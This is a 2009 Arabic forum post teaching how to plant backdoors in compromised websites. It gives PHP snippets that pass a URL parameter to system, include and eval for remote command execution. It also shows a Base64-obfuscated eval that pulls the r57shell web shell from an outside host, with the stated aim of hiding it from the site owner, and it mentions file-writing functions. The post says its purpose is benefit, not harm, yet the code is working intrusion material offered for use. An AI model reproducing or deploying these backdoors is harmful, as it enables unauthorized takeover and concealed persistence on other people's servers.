تعلم هكر المواقع وكمان سرقتها للفائدة وليس للأذية

من طرف **hadideeb** الثلاثاء أبريل 21, 2009 5:50 pm

صراحه وانا اتصفح بعض المواقع وجدت موضوع استفسار عن الاستفاده من تلغيم الصحفات للموقع

طبعا الدوال المهمه الذي يستفاد منها هي

include + system + eval

استخدام system
كود PHP:
<?php
if(empty($_GET['tryag'])){
} else {
$m=$_GET['tryag'];
echo system($m) ;
}
?>

الاستغلال للكود :
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

cmd = اوامر لينكس

جاهز سل

استخدام include
كود PHP:
<?php
if(empty($_GET['tryag'])){
} else {
$m=$_GET['tryag'];
print include($m) ;
}
?>

:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

cmd = اوامر لينكس

استخدام eval

طبعا ايفل لها طريقتين وهي تمرير الكود عن طريق تشفير

ASCII-table

وطريقه الاستخدام
كود PHP:
<?php
if(empty($_GET['tryag'])){
} else {
$m=$_GET['tryag'];
eval(stripslashes($m));
}
?>

الاستغلال للكود :
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

code = هو كود php مشفر عن طريق

ASCII-table

وهذا مثال لفهم الفكره بشكل اوضح

رابط المثال

الطريقه الثانيه وهي استخدام ايفل بدون تشفير
كود PHP:
<?php
if(empty($_GET['tryag'])){
} else {
$m=$_GET['tryag'];
@eval(stripslashes($m));
}
?>

الاستغلال للكود :
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

code = هو كود php

ومثال اخر

رابط المثال

طبعا احيانا نضطر للتشفير الكود بحيث نصعب المسأله امام صاحب الموقع

وطرق التشفير كثره

وسأستخدم تشفير

Base64

كود PHP:
<?php
if(empty($_GET['tryag'])){
} else {

$m=$_GET['tryag'];
eval(base64_decode('aW5jbHVkZSgiaHR0cDovL3JzdC52b2lkLnJ1L2Rvd25sb2FkL3I1N3NoZWxsLnR4dD8iKTs='));
}
?>

الاستغلال للكود :
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

cmd = اي قيمه

شرح الكود

هو نفس استغلال ايفل ولكن مررنا الكود

php بتشفير

Base64

التشفير
كود PHP:
aW5jbHVkZSgiaHR0cDovL3JzdC52b2lkLnJ1L2Rvd25sb2FkL3I1N3NoZWxsLnR4dD8iKTs=

وفـكه هو
include("http://rst.void.ru/download/r57shell.txt?");

وعند تمرير اي قيمه للمتغير

tryag

سيتم تنفيذ الكود
مثال

رابط المثال

هذا مالدي بهذا الموضوع واتمنى وضع الفائده من الجميع

ملاحظه : يمكن استخدام دوال انشاء ملف والكتابه بداخله

أخوكم : محمد عبدو ديب